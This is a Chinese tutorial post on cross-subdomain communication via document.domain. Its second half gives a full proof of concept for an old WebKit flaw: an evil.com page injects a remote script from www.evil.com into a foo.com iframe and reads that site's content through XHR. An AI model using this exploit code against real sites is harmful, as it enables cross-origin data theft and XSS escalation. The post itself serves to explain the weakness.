首页 > 代码库 > 跨域(四)——document.domain

跨域(四)——document.domain

浏览器有一个合法的性质:一个页面可以设置document.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。

利用这个性质,我们可以通过设置document.domain来跨子域。比如:在blog.foo.com/blog.html和app.foo.com/app.html两个文件中分别加上document.domain=‘foo.com‘,然后通过在app.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个文件之间就可以跨域通信了。

app.html主要代码:

我是app<iframe id=‘ifr‘ src="http://blog.foo.com/blog.html"></iframe><script>document.domain=foo.com;var ifr=document.getElementById(ifr);ifr.onload=function(){    var d=ifr.contentDocument||ifr.contentWindow.document;//contentDocument:firefox,>ie8  contentWindow:兼容各个浏览器    alert(d.getElementById(test).innerHTML);}</script>

blog.html主要代码:

<div id="test">我是blog</div><script>document.domain=foo.com;</script>

 

 WebKit内核浏览器有一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。下面做一个测试,在Chrome下访问,版本 27.0.1453.93。

有文件www.evil.com/attack.html,www.evil.com/poc.js和www.foo.com/proxy.html。

代码分别如下:

attack.html页面

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head><body>我是attack页面<script>document.domain="com";function inj_iframe(src,hadle){    var o=document.createElement(iframe);    o.src=src;    o.id=proxy;    o.onload=hadle;    document.getElementsByTagName(body)[0].appendChild(o);    return o;}function inject(){    var proxy=document.getElementById(proxy);    var d=proxy.contentDocument||proxy.contentWindow.document;    var x=d.createElement(script);    x.src="http://www.evil.com/poc.js";    x.defer=true;    d.getElementsByTagName(head)[0].appendChild(x);}var o=inj_iframe("http://www.foo.com/proxy.html",inject);</script></body></html>

proxy.html代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script>getTransport=function(){    var xmlhttp;    if(window.ActiveXObject)    {        xmlhttp=new ActiveXObject(Microsoft.XMLHTTP);    }    else if(window.XMLHttpRequest)    {        xmlhttp=new XMLHttpRequest();    }    return xmlhttp;}document.domain="com";alert(proxy.html:+document.domain);</script></head><body>i am proxy.html</body></html>

poc.js代码:

alert(document.domain+"|poc.js");xhr=getTransport();function req(method,src,argv){    xhr.open(method,src,false);    if(method=="POST")xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");    xhr.send(argv);    return xhr.responseText;}x=req("GET","http://www.foo.com/proxy.html");alert(x);

访问attack.html后的效果图:

技术分享

有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件(设置document.domain为顶级域),这样的做法给XSS带来了巨大便利,即只要在任意一个子域下找到XSS漏洞都能危害到目标页面。

跨域(四)——document.domain